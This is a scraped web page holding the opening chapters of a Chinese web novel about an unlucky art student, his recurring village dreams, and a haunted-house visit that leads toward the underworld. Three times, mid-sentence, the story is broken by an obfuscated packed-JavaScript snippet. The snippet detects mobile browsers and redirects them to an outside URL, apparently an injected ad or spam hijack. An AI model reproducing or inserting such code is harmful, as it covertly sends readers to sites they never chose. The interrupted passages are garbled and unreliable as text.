《地狱请我谈恋爱(无限)》 1. 梦醒 “奕哥儿!” 沈奕脚步一顿,回头望去。 现在这个年代,真是很少有人叫谁什么哥儿了。 但沈奕并不意外。他知道,这是他又做梦了。 他已经连着好几天都在做同一个梦,梦里的人很多都这样叫他。 身后是已经看过六次的田间小路,路两边的坡下是大片的草地,和一条波光粼粼的河流。小路的尽头,站着两个缥缈的人影。 那里太远,还有一大片白茫茫的雾,沈奕什么都看不清,只看见一高一矮两个影影绰绰的人影。 那矮小的人影高声笑着叫着他,在原地蹦蹦跳跳的,朝他用力地挥着手;高一些的人影站在更远的雾中,什么都看不真切。 沈奕转过身,朝着那人张了张嘴,刚要说什么时—— “沈奕!” “沈奕啊!” “快躲开啊傻.蛋!!” 有更清晰的声音刺破梦境,撕心裂肺地喊他。 沈奕蹭地回过神来,一激灵睁开眼,就见一个圆不溜秋的玩意儿直直地朝他冲了过来。 咚的一下,圆不溜秋砸到了他的脸上。 沈奕整张脸当即剧烈一痛。 圆不溜秋从他脸上掉了下来,咕噜噜地滚到了旁边去。 沈奕凄惨地呜呜呃呃地哀嚎起来,转过半个身,从操场草地上本能地晃晃悠悠地起身,痛苦地弓下腰捂住脸。 好像五官都凹陷了。 低头一看,沈奕看见刚刚砸了自己的这个圆不溜秋的东西是个篮球。 他疼得脑子里嗡嗡的,头晕目眩,眼里出了重影,耳鸣声都起来了。 刚刚那一球杀伤力真是显著。身边有不少人惊叫起来,沈奕抬头望望四周,操场上许多人都被他吓得尖叫连连。 这是他们学校的操场,沈奕刚是趁着午休来操场独自坐一会儿的。 沈奕疼得五官都开始抽搐了。鼻子里流出了什么东西,他松开手一看,满手都是血。 “不好意思不好意思,对不起!!” 一阵脚步声登登地从远处跑来。沈奕两眼含泪,捂着口鼻望去,见到一个穿着篮球背心和大裤衩的男的拨开人群,跑了过来。 “同学,对不起啊对不起!”他急得语气很快,“没事吧?不好意思啊,手突然滑了一下,这球就……对不起啊!你要不要去医务室?” 沈奕痛得龇牙咧嘴得说不出话,刚要硬着头皮回答几句,旁边插进来一个人。 “能不去医务室吗,你那球直接呼人家脸上了啊!” 又一个人登登地跑过来。沈奕无助地抬眼一看他,心里立时安了些。 来人穿着克莱因蓝的短袖和黑牛仔裤,上衣和裤子上都挂着闪得人眼瞎的银色链子,有一头很艺术性的卷毛,长了一张好脸,是个闪闪发光的潮男。 潮男是他室友,叫龚沧。 “沈奕,我看看!” 龚沧抓着他的手,一把把他捂脸的手臂给薅开了。 一见着他的模样,他面前这两人立马都脸色一变,齐刷刷地倒吸了一大口凉气。 穿着篮球背心的青年脸都白了,冷汗蹭蹭地往下冒,或许是想到了自己的未来,他可能看到了自己荣登校园大字报的处分了。 “快去医务室!” 龚沧拽着他就往外走。打篮球的青年忙说自己也跟着去,跟在他俩屁股后面一起走了过来。 鼻子里还在洇洇地往外冒血。沈奕捂着口鼻,痛得脚步都有点飘忽。 “刚刚我都叫你好几声了,你怎么没反应过来?”龚沧又气又急,扯着他脚步匆匆,“你看看,被砸成这样!” 沈奕痛不欲生:“我睡了一觉啊……” “……你在操场上睡觉?” “怎么,又没人说不行。” 沈奕痛得吸了口凉气,脚步越来越不稳。他想起最近自己身边频发的事,隐隐有了很不祥的预感:“你等一下,小龚,你慢——啊!” 让人慢点儿走的话都没说完,沈奕就突然左脚绊了右脚。 他慌慌忙忙把手从龚沧手里抽出来,大臂一甩,下意识想调整姿势稳住平衡——然后他就磕磕绊绊地往旁七扭八歪地踉跄过去,一阵天旋地转,脚后磕到了校园水池的坎子上。 沈奕当场失去了平衡,往后一仰——龚沧和那打篮球的被他这一连串的“凌波微步”惊得张开大嘴,两脸震惊。 然后扑通一声,沈奕重重掉进了水里。 激起大片水花。 沈奕彻底凉快了。 沈奕飘在水面上,仰头望着水池中央摆着的伟人雕像的下巴壳,看着天上的飞鸟和盛夏的云阳,听着四周路人控制不住的大笑声,不禁神情麻木地思考起来,最近到底做了什么孽。 池子里的锦鲤欢快地游在他身边,猛亲他的脸,一点儿不认生。 * 沈奕,21岁,在这所凉城艺术大学里上大三。 要实习了,没什么课。 但最近身边发生了一些很诡异的事情。 好端端的日子,突然变得特别倒霉。 最开始是六天前的那一次。 六天前,他电脑突然蓝屏,做了一个礼拜的结课作业全没了;老师突然变得很不讲理,那门他全勤的课居然被直接挂了;接着出门之后就平地一摔,用了三年的玻璃杯当场摔碎,胳膊还被扎得鲜血淋漓。 随后手机突然主板烧了,数据全没了,只能换个新的;骑共享单车骑到路上车子居然坏了,连车带人摔进了绿化带;在马路边上踩着一个纸箱,立马滑倒,一阵竭尽全力的踉跄调整后,他的脸砸到了一旁的站牌上。 然后就开始无限的平地摔,每天都摔,五花八门地摔。 沈奕现在浑身上下都是淤青。 并且,他开始做一个有些诡异的梦。 梦周而复始,从六天前一直做到今天。 每天都是同样的。 “我说你啊。” 医务室里,室友龚沧站在沈奕对面,旁观着校医给他惨不忍睹的脸上抹着碘伏,长长地叹了一口气。 “我说你啊,沈奕,”他一脸沧桑同情地望着他,“你要不找个大师吧。” 沈奕也觉得自己该找个大师,这日子过的真是受不了了。 张嘴刚想说话,校医就把棉签往他脸上最严重的一处淤青上一按。沈奕当场嗷地惨叫起来,没了说话的闲空,龇牙咧嘴地神色扭曲。 把篮球砸在他脸上的同校生在一旁跟着脸色扭曲,紧张得直抠手:“学长,你没事吧?” 刚才进医务室时,校医问了沈奕的年级和学号,这砸了沈奕的同校生就知道自己比他低一级了。 沈奕疼得话都说不出,直锤膝盖。 龚沧叹了口气:“你这几天也太不寻常了,我这辈子倒的霉加起来,也没你这几天多。再者说,你还做梦。” 同校生一愣:“做梦?” “啊。” 龚沧张嘴刚想补充,沈奕伸手把他拦了下来。 龚沧嘴上一顿。他看过来,沈奕脸色难看地朝他摆摆手,示意他这些事儿少跟外人说。 龚沧只好闭上嘴。 “没事儿,最近睡不好,乱七八糟做了点噩梦而已。”沈奕强忍着疼说,“行了,我这几天不走运而已,可能是水逆,也不全怪你。你先走吧,给我写个联系方式就行,要真的伤的重我再跟你说。” “行,学长,那我给你写个手机号。我绿泡泡就这个手机号,学长你想加就加,有事就找我。” 同校的小学弟还挺乖巧的,把手机号写下来后,又说如果要医药费他会付,要去医院也会陪,指天指地的发了一通毒誓,才走了人。 龚沧说:“这学弟还挺好,愿意对你负责。” “是挺好。”沈奕选择性无视了后半句,问校医,“老师,我是不是毁容了?” “不至于。”校医说,“看着挺严重的,但都是皮外伤。真奇了怪了,篮球砸脸这么大的事儿,还直接砸到了你鼻子上,你居然只受了点皮外伤,都没骨折。” 凉艺是个好大学,各个方面都是一流的水准,医务室都有整整一层的楼,配置了CT室,可以在这里拍片。 沈奕有点委屈:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152196|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可我很疼啊老师,真没骨折吗?” “我刚刚也很奇怪啊,所以不是给你拍了好几次片吗,确实没事。”校医说,“放心好了,真的没事。你要是担心,去大医院再看一下也行。” 沈奕唔了声,没再吭声。 在医务室上好药,校医又把之后几天要上的药给沈奕开好,就放他俩离开了医务室。 “又做梦了?” 走出去没几步,龚沧就小声地问他。 沈奕挠挠额头边上发痒的伤口边缘,点了点头。 “梦到什么了?” “还是那一套。”沈奕疼得没精打采地答,“乡下,老村,家里有块田,我有个妈有个弟弟有个妹妹,还有个跟我一块玩的小哑巴,我们几个在村里过着平静生活。” “这么平淡啊。”龚沧说,“不过每天都做同样的梦,也是挺渗人的。” 沈奕没回答,缓缓停下了脚步。 龚沧没注意到,他又走出去两三步,才慢半拍地跟着停下。他回过头,见到沈奕愁眉不展地低下头,眉宇间都皱出了个川字。 “怎么了?” 沉默几秒,沈奕凝着脸色抬头:“立川省望山市葳蕤县左家坞镇娘娘庙村。” “啊?” “我刚刚做的梦里,”沈奕说,“有人告诉我的,那个村子的所在地。” 龚沧整个人惊得一震。 沈奕拿起手机,点了几下:“我刚刚一搜,确实还真有这么个地方。” “等会儿,”龚沧上前去,一把抓住沈奕拿着手机的手,难以置信道,“你不会想去吧!?” 沈奕眨巴眨巴眼:“对啊。” “对啊什么对啊,你有病吧!你不知道梦里梦到的从没听到过的地名去不得的吗!”龚沧摁下他的手,怒气冲冲道,“你想死吗你!你上网查查,有好几个这样的细思极恐的例子了!去的不是失踪就是死了,死得还很恐怖!你不冲浪的吗你!” 龚沧骂他骂得唾沫横飞。 沈奕抹了一把脸,无语道:“别这么生气啊你,干嘛啊,我就提一嘴。再说了就只是个梦而已,我去不去的这地方都是真实存在的,我就是去看一眼……” “不行!” “好好好,不行,不去。”沈奕说,“不去就不去呗,吼啥吼。” 沈奕话说得有点委屈。 龚沧嘴角抽了抽,松开了他。 “不去就行,”他说,“行了,你要不找个神婆去看看吧。” “改天再说。”沈奕说,“脸疼,不想出门了,感觉最近特别容易撞鬼。” “……” 确实也该脸疼。 龚沧有点想笑,但忍住了。 “明天出去玩不?正好周末。”龚沧说,“去鬼屋,附近新开了一个,听说老刺激了。” 沈奕:“……你听人说话了没!?!” “听呢听呢,那鬼屋在商场里面,都是人扮的,怕啥。”龚沧说,“再说以毒攻毒嘛,说不准你在鬼屋里看看NPC,回来就能把你身上这些糟烂事儿冲没了。” 真是歪理!! 再说这人刚刚还在叫他千万别去梦里的地方,下一秒就跟他说要去鬼屋!有病吧! 沈奕气不打一处来,刚要骂龚沧真是脑子有病时,一张宣传单就被塞到了手上。 “这是那个鬼屋的宣传单。”龚沧说,“你看看,老有意思了,去玩玩呗。” 沈奕眼皮一跳,深吸一口气,刚要骂一句滚,低头一看宣传单,一下子不吭声了。 宣传单上黑底红字,血迹斑斑,很有恐怖风格。 是一个很常见的山野主题的鬼屋,单子上写着鬼屋的简介。 没什么出奇的地方,但最底下写了一行血红的小字。 “请前往地狱”。 字在最下面的地方,不仔细看根本看不见。 但除此以外,也没什么特别的地方。 可沈奕却移不开眼了。像是有什么魔力似的,他仿佛在被这行字拽进什么漩涡里。 他愣愣地盯着这五个血字,耳边不合时宜地听见梦里的风声。 2. 鬼屋 梦里,夕阳落下,云烧得似火。 沈奕的梦里总是这样的黄昏。 正是深秋,风已经很冷了。沈奕戴着个草帽,骑着个破破烂烂的自行车,载着车筐里的两大袋橘子,唱着一路“平平淡淡才是真”,就那么十分朴实地吱吱呀呀地骑到了一户人家的门口。 这是个生了好多铁锈的绿铁皮门,门上还贴着一对儿被风吹雨打得黑乎乎又发黄的门神。 他翻身下车,拿起筐里的一袋橘子,抬手笃笃敲了两下门,喊:“阿默——” 门内原本有水声在响。但沈奕敲了门后,门里那水声立马停下,转而有阵脚步声慌乱地响起。 沈奕在门外笑了声,朝着门内高声喊了句“别着急”,就在门口叉着腰等了起来。 “哎哟,奕哥儿,怎么那么爱照顾老温家的小哑巴啊?” 他回头,他们村这热心的李大娘正好从他身后路过。 “刚从镇子里回来吧?”李大娘说,“你天没亮就出去,这刚回来,自己家都不回,先来找小哑巴?” 沈奕听见自己爽朗地朝对方笑了声——在梦里,他一直控制不了自己,就只是个占了个第一视角的旁观者。 “阿默乖啊,比我弟乖多了。”他听见自己说,“谁不喜欢阿默啊?” “哎哟,这话让你说的,全村可就你最这么上心他。” 李大娘又揶揄了他两句以后,就跟他告了别,背着一竹筐的菜,走远了。 等她的身影消失在不远处的拐角里,沈奕身前的门吱吱呀呀几声,终于伴着一阵年久失修的声儿打开了。 门只开了半条门缝,一个瘦瘦小小头发乌黑的脑袋躲在后面。那是张漂亮的脸,眉眼意外地深邃,眼睫细密,一双杏眼低垂着,瞧着无辜又可怜。 他紧抿着嘴,躲在后面不安地望他。 “阿默。” 沈奕听见自己哭笑不得地叫他,“别怕,阿默,李大娘走了。” 门里的人这才把门打开。 温默出现在门后,他站在夕阳照不到的阴影里。梦里有人说他日子过得不好,似乎是真的不好,十几岁的男孩子却那么瘦瘦小小的一个,手握在门框上时都不安地捏紧,好像很害怕什么。 那手上指尖通红,全是伤。 “你妈又叫你拿冷水洗衣服,这都深秋了……我一会儿就偷偷给你拿热水壶来,你悄悄倒点热水。对了,今儿我去拿家里收下来的苞米去镇子里卖了,全都卖光了。卖得不错,我就买了橘子回来。” 沈奕把手里的橘子塞给他,小声说,“这一袋子是你的,你藏好了都自己吃,别给你妈跟你弟弟。我还买了别的吃的,都塞在这袋子里了,你回去翻一翻,都自己留着慢慢吃,别给你弟弟啊。” 沈奕朝他一笑。夕阳照在他身上,他浑身都暖乎乎的。 门里的“阿默”脸红了,低下脑袋,放下橘子,向他慢吞吞地做了几个手势。 好可爱。 好可…… 滋啦! 宿舍的窗帘被无情地拉开。 沈奕还正在梦里傻笑,下一秒,早上的太阳便刷拉照在脸上一大片,给他照得一哆嗦,立马醒了。 他低低骂了一声,心不甘情不愿地拉起被子罩住脑袋,“呜啊啊”地低吼一阵:“有病啊——” 龚沧拿着晾衣杆拍拍窗帘:“有病什么有病,起来啦,都八点四十五啦沈奕,怎么都八点四十五了我不叫你你怎么自己——” “闭嘴!” 沈奕蹭地坐起来,一脸幽怨地挖了他一眼。 龚沧朝着他嘿嘿笑了声,不玩梗了,说:“起啦,沈奕,说好了今天去鬼屋的啊。” 沈奕顶着一脑袋刚睡起来的鸟窝,仍然表情幽怨。 沈奕抵抗不过那行对他来说莫名其妙吸引力极大的小字——那鬼屋的宣传单最底下的、“请前往地狱”五个字,所以鬼使神差地就答应了龚沧。 他今天要跟着龚沧去鬼屋。 * “学长!” 沈奕和龚沧俩人刚从地铁站里出来的时候,就看见地铁口那儿站了两男两女。其中一个女孩子沈奕认识,是他同专业的女孩子,比他低两级,经常跟他上同样的课,是大一的小学妹,叫方梨。 方梨跟他一起做过两次小组作业,跟沈奕很熟悉。 而另外三个人,沈奕就不认识了,脸都没见过。 沈奕抬抬手,跟方梨打了招呼。 他边跟龚沧通过闸门往外走,边咋舌地吐了吐舌头,小声问了句:“这么多人啊?” “鬼屋嘛,人越多越好玩,”龚沧笑着说,“人多力量大啊。” “什么人多力量大,咱又不是下地干活插秧去,这是鬼屋啊。算了,那都是谁?” “学生会文艺部的学弟学妹。”龚沧说。 “哦。” 这么一说,沈奕才想起来,小学妹方梨跟他提过,她是学生会文艺部的。 龚沧是学生会文艺部的部长,平时学校或者学生会如果要对外做活动,他这文艺部都得出面设计绘制需要的海报。 但沈奕不是学生会的。 沈奕跟龚沧虽然一个宿舍,龚沧还不止一次地想拉沈奕进文艺部做工,但沈奕每次都拒绝——原因很简单,懒。 沈奕一直觉得,学生会只是戴了个好看帽子的廉价劳动力组织罢了,是给学校打白工的。 有给学校闲着没事打白工的空,不如窝在宿舍里打游戏,那才是享受人生。 他不是学生会的,自然也不认识这些学生会的学弟学妹。 两人出了闸门,走到正等着他们的四个人跟前。 “部长好!” “龚部长早啊!” 四个人很精神地和龚沧打了招呼,龚沧笑着一一应过。 打完招呼,方梨有些惊奇地望向沈奕:“学长,你的脸怎么了?” 沈奕昨天刚挂彩,脸上到处贴着纱布,青青紫紫的,看起来很精彩。 沈奕摸了摸脸,哈哈笑了两声:“没事,昨天又摔了一跤。” “又摔了一跤吗?怎么这么不小心啊。”方梨龇牙咧嘴了下,好像在替他疼,“学长你注意点啊,这几天你好像一直在摔跤,听说你前两天还连人带车栽到绿化带里去了,没事吗?” “没事没事,死不了。” 方梨还是担忧地看他。 沈奕望着她这张脸,梦里那些光景忽的涌上心头。 【奕哥儿——】 在梦里那条田间小路的尽头,一个扎了麻花辫的妹子这样喊他,边朝他挥着手边跑来。 那妹子正是方梨——声音一样,长相也一样。 “小梨,咱走吧。” 另一个短头发的学妹走上前来,打断了沈奕的回想。她握着手机,说,“那鬼屋在哪里来着?我没拿宣传单,不知道该导航去哪儿了。” “哦!我带了,我看看!” 方梨欢快地应下,然后拉开自己的小粉斜挎包,从里面拿出了那张鬼屋的宣传单。 方梨一阵忙活。沈奕挠挠脑袋,转头望向一旁地铁站的出口。外头风和日丽,倒的确是个该出来透口气玩一玩的好日子。 方梨在宣传单上找到了地址,另一个女孩子把地址输进地图APP里,领着一群人出站,朝着那鬼屋前进去了。 鬼屋离得倒不远,在附近一家大商场的B座顶层。 “话说起来,学长你居然也会来玩鬼屋,”方梨扭过脑袋,“你之前不是说,对鬼屋没什么兴趣吗?” 这不是龚沧第一次叫他出来玩鬼屋了,但沈奕每次都没什么兴趣,出来看电影的话他倒是会欣然赴约。 “啊,我从小就不怕这个。”沈奕说,“不过这次有点兴趣,这次这个鬼屋不是还带什么地狱吗。” “地狱?”方梨一愣,“什么地狱?” “什么‘什么地狱’,宣传单上不是写了吗?前往地狱什么的。我看着新奇,这次才过来了啊。” “有吗?” 方梨又拿出宣传单来,奇怪地将单子看了一遍后,“没有啊,学长,你是不是看错了?” “怎么可能,给我看看。” 沈奕拿过她手里的宣传单,目光一扫,手抬起来,刚想指那行小字给方梨看,便突然一怔,愣在当场。 他手指着的地方,一片空白。 那行血红的小字没有了,只有一片空荡的黑色。 沈奕呆呆愣在原地。 方梨一无所知地把脑袋凑过来,见他手指着一片空白,就仰头问:“在哪里呀,那行字?” 龚沧也凑过来瞧了。 他扫了一眼整张单子,也疑惑地望向沈奕:“哪儿有什么地狱啊,你是不是做梦了?” 沈奕没说话。 盛夏了,太阳毒辣,路两边人来人往,蝉鸣撕心裂肺,晒得人后脖颈出了一层薄汗。 一种奇异的凉意从他脚底缓缓升起。 * 沈奕很确定,昨天自己看到了那行字。 不是梦。 也不是错觉,更不是幻觉。 他这人从小就对鬼没啥兴趣,小时候有过面不改色地在家熬通宵把《咒怨》《闪灵》《山村老尸》等一系列世界知名把人吓尿的恐怖片全片通看记录。 世界上估计就没有能把他沈奕吓着的东西。 他昨天是被那一行小字勾起了心思,今天才会在这里。除了自己真真切切地看到了那一行字以外,沈奕想不出自己会站在这里的第二个理由。 绝不可能是他后来又做梦梦见了什么,才会有这种错觉——再说他最近做梦也只会梦见那个乡村。 绝不可能是做梦。 沈奕面色凝重地跟着人群到了乐泰商场的B座顶楼,临时开在这里的鬼屋门前。 鬼屋外表长得漆黑,墙面坑坑洼洼做得跟野山的表面似的,还洒了一片鲜红的血。 山上顶头用血红的字歪歪斜斜地写着鬼屋的名字,“杨庄子”。 就是个村子的名字。 沈奕歪歪脑袋,总觉得这村子名字耳熟得很,又想不起来是在哪儿听过。 这鬼屋外表就长得很刺激,才刚看见个大门,几个学弟学妹就兴奋起来了,围着龚沧叽叽喳喳个不停。 闹腾了会儿,两个学弟去买票了。 鬼屋门口前面摆了个前台。或许是因为今天是平日,人没多少,前台里只有一个工作人员在看着。 那是个白毛的漂亮男青年。沈奕看过去时,竟然和那人四目相对上了。 白毛似乎一直在看着他。 白毛托腮靠在台子上,视线相撞了也不尴尬,眯起眼来朝他一笑。 沈奕愣了下。 白毛有双血红的眼睛,漂亮又诡异。 “白化病?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152197|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龚沧小声嘟囔了句,沈奕一偏头,才见龚沧也在看前台。 “或许是吧,”沈奕说,“还挺漂亮的。不说这个,你的单子给我看看。” “什么单子?” “鬼屋宣传单。” 龚沧一乐:“干嘛,紧张了,想看看简介剧透啊?” 宣传单上有这个鬼屋的简介介绍,里面写了故事背景。 “少说废话了,给我看看。” 龚沧笑声应着行行行,把折了几折的宣传单从兜里拿出来,递给了他。 沈奕接过来,把单子展开一看,扫了一眼。 这一张上,也没有写那行小字。 那行字的地方又是一片空荡。 沈奕眉头锁紧,问:“你昨天是拿这张给我看的吗?” “是啊,就是这张。”龚沧说,“怎么了?” 沈奕没说话。 他脸色越来越难看了。 看来不是什么印刷错误——他本以为是印刷错误,方梨那张上面才会没有自己看见的那行字。 “部长!” 两个小学弟手里捏着票子,欢天喜地地跑回来了,“票买到了!” “哎哟,好好!” 龚沧笑起来,把单子从沈奕手里抽出来,又折了几下塞回自己兜里,抓着他就往鬼屋跟前走,“那走吧!” 沈奕一句话都没说出来,就被不由分说地拉着往鬼屋跟前去了。 学弟递上了票。 前台的白毛检了票后,站了起来。 “进吧。”他拉开鬼屋门口的线,“运气不错,今天你们是第一拨客人,祝你们平安。” 一听这话,学弟学妹们紧张起来,抱在一起又笑又紧张地走了进去,还回头招呼着他俩也进来:“部长,学长,快来呀!” 沈奕跟龚沧走在最后面。刚要跟着进去时,白毛伸出手,拦住了他俩。 沈奕停住,诧异了下,不解地望向他。 白毛还是笑眯眯的。 他看了眼龚沧,刻意抬起手把沈奕往旁边拉了一下,让他离远了些后,微睁开眯起的眼,在他心口上拍了两下,讳莫如深道:“一见生财。” 说完,白毛松开了他,侧过身去,抬手向鬼屋屋内,又眯起眼来笑意浓浓:“请。” 沈奕眨巴了两下眼,转头和龚沧对视了眼。 两人满脸莫名其妙。 * 鬼屋里阴风阵阵,伸手不见五指,诡异的笑声合着不知在何处的咀嚼声与水滴滴答声,在四周不绝于耳地响着。 那些学弟学妹才比他俩进去早半分钟,却没了踪影。沈奕跟龚沧在这里面走了两分钟了,还吆喝了两嗓子,却没回应,也看不见他们的身影。 鬼屋里空调开得太足,龚沧冷得搓了搓胳膊,说:“那白毛好奇怪啊,你觉不觉得?” “我刚也觉得奇怪,但是你仔细想想,这可是鬼屋啊,说不定是需要解密的。”沈奕说,“他没准儿是在给提示?” “哦!有道理!”龚沧恍然大悟,“还得是你啊,那快走快走,咱们得快跑几步,追上那几个学弟学妹!” 龚沧说完就往前跑。 沈奕一懵,叫了他几声,却没叫住。龚沧在一片黑暗的鬼屋里一溜烟就跑没影了,尾气都没给沈奕留一口。 脚步声没了,沈奕站在诡异的咀嚼声和笑声里,沉默了很久。 “操,”他嘟囔了句,“舍友不算人啊。” 沈奕大叹一声,自己一小步一小步蹭着往前走。 越往里走,那些诡异的声音就越发清晰,还重重叠叠的,听得人心里瘆得慌。 沈奕却没啥想法,他打小就不怕这些神神鬼鬼的,即使最近他身上的倒霉事儿多得很诡异。 地面上渐渐多了几缕幽绿的灯光,指引着他往里走。沈奕往里走了几分钟,忽然有些奇怪,这一路上居然一个鬼都没遇到。 鬼屋里只是漆黑和有声音而已,一个扮鬼的NPC都没遇到。 路也有些狭小,实在不太符合门口那个“杨庄子”的门牌。 看来是个虚假宣传,这鬼屋其实粗制滥造得很,靠着噱头把人叫来骗钱啊…… 沈奕心里犯着嘟囔,路一转,咚的一下,脸撞到了什么东西上。 好痛! 沈奕低低惨叫一声,后退几步,捂着昨天刚受伤的脸,痛得两眼飙泪地弓下身。 缓了一会儿,沈奕抹掉眼泪一抬头,就见这转弯就突脸了的玩意儿居然是扇门。 门通体漆黑,精致华丽的花纹鬼斧神工地雕满了全门。沈奕定睛一看,见那花纹居然净是青面獠牙的恶鬼与鬼魂,一个个都张牙舞爪着。 门把是两个古铜门环,环上是两个面容狰狞的恶鬼鬼面。 沈奕回头看看,身后是一片空荡的黑路——这就怪了,从进来开始就只有一条路,路上没有分叉,然而这一路上他一个人都没遇到,这门前也没人等他。 那就只有一个可能了。 他那些特别特别好的学弟学妹和好舍友,直接进这门里去了,没等他。 一帮感天动地的好人呐! 沈奕咬了咬牙,气笑出声。他伸出手,刚要推开面前这道门时,身后突然传来一声:“等一下!!” 沈奕一愣,回头一看。 龚沧居然正连滚带爬泪都飞起地朝他呜嗷大叫着跑过来。 3. 鬼门关 “等一下啊沈奕!爹!!” 龚沧喊着向他跑来。他跑得那真是没有一点儿风度,扑到沈奕身上之后就涕泪横流,鼻涕眼泪流了满脸。 他也管不上这些,抓着沈奕呜呜嗷嗷地哭叫:“可算找着你了!吓死我了!!” 眼瞅着他抹了一把涕泪之后上手就要继续抓自己的衣服,沈奕忍无可忍了,一把把他推开:“给我滚一边去!抹完鼻涕就摸我!” 龚沧一屁股坐到地上。他幽怨地挖了沈奕一眼,吸了口气,哆嗦着从自己包里掏出一张纸来,给自己擦干净脸上的鼻涕和泪水。 他动作颤抖,看起来吓得不轻。 “什么玩意儿给你吓成这样?”沈奕说,“我刚才过来的路上怎么没见着你?” “一个乌漆嘛黑的……”龚沧颤声说,“你没看见我,应该是因为我在那个岔口那儿拐弯了……” “岔口?” 有岔口吗?刚刚过来不是一条直路,根本没有弯儿吗? 沈奕心里嘀咕了两句,又想着估计是自己眼瞎没看见,便没在意。 看着龚沧怕得哆嗦的样儿,沈奕有些想笑:“谁叫你丢下我自己往前跑,要找你那些亲亲学弟学妹。行了,都是人扮的鬼罢了,怕什么。走了,去找你的学弟学妹。” 沈奕边说边往身后的门上指了指,“多半他们是扔下咱俩,先进这道门里面了。” 龚沧拿着纸狠狠地醒了一通鼻涕,抬起头,才看见沈奕背后这道鬼斧神工的鬼门。 “我去,”他擦着鼻子闷声说,“这门长得真牛逼。” “是啊,这鬼屋真是真材实料。”沈奕说,“我刚刚还说它粗制滥造呢,话说早了。” 龚沧从地上晃晃悠悠站起来,缓过些神来了。 “走吧!”他心一横,说,“我一个部长,比他们还晚出去,算什么话!” 沈奕呵呵了声。 他转身,推开门。 这门比看起来重,沈奕第一下都没推动。他起身来,深吸一口气,又再次铆足了劲儿,伸手用力摁下,大喝一声,终于将这笨重的门推动了。 门缝从中打开来,尘土落下。 一缕光从门后渐渐清晰,直直射在两人的脸上。 鬼屋门口,白毛青年正百无聊赖地坐在椅子上。 他忽的动了动肩膀,似有所感地回头望去,一双血眸深深望进鬼屋深处。 正巧,有个人从鬼屋里走了出来。 白毛对他眯眼一笑。 “门开了。”他轻声说。 鬼屋里,笨重的鬼门大开。 门后,是一条白雾弥漫的大路。 路上铺满金黄的草,一直蔓延向远方那什么都看不清的浓雾之中。 路两旁无边无际,同样消失在浓浓的白雾里。 沈奕走了进去,龚沧跟在他后面。 沈奕两手插兜,望着身旁两侧,稀奇极了:“这鬼屋里头居然还修得这么大。这么大的屋子,只拿来做这么一条路,也太浪费了吧。” 龚沧附和他:“这些雾也是,这得用多少干冰啊。” 他们走进雾中。 在雾里前进片刻,面前出现了一道桥。走上了桥,往下一看,下头是一条血红的河流。 河流里有什么东西在沉沉浮浮。隔着白雾,并不能看清那是什么。 在桥上停留片刻,沈奕便下了桥去。 桥下又是金黄的路。 龚沧还在桥上好奇地往下望,一听见旁边响起蹬蹬的脚步声,转头一看,见沈奕下桥去了,他连忙转头跟着跑下来。 龚沧埋怨他:“等会儿啊你,走那么快干什么,那桥上造景那么好,多看看啊。” “不是你说要早出去的吗。” “对哦。”龚沧才想起来这一茬,哈哈笑了两声。 桥下的金路同样是在白雾之中,两人几乎什么都看不着,只是顺着自以为的“前方”往前走着,走了好一会儿都没见着尽头。 虽然举目茫茫,但好歹没了刚刚那些鬼叫声,气氛轻松不少,龚沧便随口找个话题闲聊起来:“说起来,沈奕,你保研的事儿定下来了没?” “我不保研啊。”沈奕说。 “你不保研?老穆不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152198|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是叫你保研来着?” 老穆是副教导主任,管一些杂七杂八的事儿,其中就包括他们这些学生的升学事宜。 “他是让我保来着,但我不想上学了,我出去找班上。”沈奕回了回头说,“正好左老师帮我联系了几个公司,九月放完暑假回来我就去面试,作品集都做好了。挺好的,我不保研的话,名额应该就给你了。” “哎哟,好兄弟啊!这么替我着想,回头请你吃顿好的!”龚沧笑了声,突然话锋一转,“你喝水不?我早上从食堂买了两瓶水出来。” 沈奕还不渴,但他知道过会儿肯定渴,于是说:“好哥们,给我来一瓶。” 龚沧从包里拿出一瓶水来,递给了他。 沈奕把水塞进了自己的包里。 又往前走了几步,两人穿出了白雾。 沈奕忽的停下脚步。 一扇足足有三层楼那么高的漆黑鬼门,庄重巨大地横在他面前,巨大的阴影将他笼罩。 沈奕瞪大双眼,微张着嘴,一点儿声音都发不出来了。 他这辈子都没见过这么大的门。 巨门上,刻着青面獠牙的恶鬼与哭叫的鬼魂们的花纹——那本该是花纹,可它们却活了,正在门上游动着扭曲着,仿佛是一个个发不出声音的、被锁在了里面的活人与真正的鬼怪。 龚沧吓得一屁股坐在地上。 他浑身发僵发软,忽然又感觉到了什么。他一转头,立马吓得一声尖叫,指着一旁大叫着喊:“沈奕!那个!!” 